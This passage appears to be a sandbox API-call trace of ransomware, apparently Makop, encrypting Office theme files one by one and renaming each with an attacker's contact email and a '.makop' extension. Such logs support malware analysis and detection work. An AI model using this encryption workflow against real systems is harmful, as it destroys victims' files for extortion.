dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0160.149] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0160.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.151] GetProcessHeap () returned 0x48a0000 [0160.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.151] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0160.156] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.156] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.156] GetProcessHeap () returned 0x48a0000 [0160.156] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.156] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.157] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.157] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.158] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.158] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.158] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c9b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c9b, lpOverlapped=0x0) returned 1 [0160.159] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ca0, dwBufLen=0x4ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ca0) returned 1 [0160.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ca0, lpOverlapped=0x0) returned 1 [0160.160] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.160] SetEndOfFile (hFile=0xf0) returned 1 [0160.167] GetProcessHeap () returned 0x48a0000 [0160.167] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.167] GetProcessHeap () returned 0x48a0000 [0160.167] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.167] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0160.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.169] CloseHandle (hObject=0xf0) returned 1 [0160.169] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0160.169] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0160.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.172] GetProcessHeap () returned 0x48a0000 [0160.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.172] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.176] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.176] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.176] GetProcessHeap () returned 0x48a0000 [0160.176] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.176] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.177] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.177] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.177] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.177] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.177] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.178] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.178] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x79f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x79f8, lpOverlapped=0x0) returned 1 [0160.180] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a00, dwBufLen=0x7a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a00) returned 1 [0160.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a00, lpOverlapped=0x0) returned 1 [0160.181] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.181] SetEndOfFile (hFile=0xf0) returned 1 [0160.188] GetProcessHeap () returned 0x48a0000 [0160.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.188] GetProcessHeap () returned 0x48a0000 [0160.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.188] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0160.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.190] CloseHandle (hObject=0xf0) returned 1 [0160.190] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0160.190] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0160.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.193] GetProcessHeap () returned 0x48a0000 [0160.193] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.193] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.193] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.199] GetProcessHeap () returned 0x48a0000 [0160.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.199] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.199] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.201] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b778, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b778, lpOverlapped=0x0) returned 1 [0160.207] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b780, dwBufLen=0x1b780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b780) returned 1 [0160.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b780, lpOverlapped=0x0) returned 1 [0160.210] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.211] SetEndOfFile (hFile=0xf0) returned 1 [0160.219] GetProcessHeap () returned 0x48a0000 [0160.219] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.219] GetProcessHeap () returned 0x48a0000 [0160.219] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.219] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0160.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.222] CloseHandle (hObject=0xf0) returned 1 [0160.222] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0160.222] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0160.222] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0160.222] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 64 [0160.222] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*") returned 68 [0160.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0160.241] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.259] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0160.259] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml") returned 78 [0160.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.338] GetProcessHeap () returned 0x48a0000 [0160.338] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.338] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.338] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0160.402] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.402] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.402] GetProcessHeap () returned 0x48a0000 [0160.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.403] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.403] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.403] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.403] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.403] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: 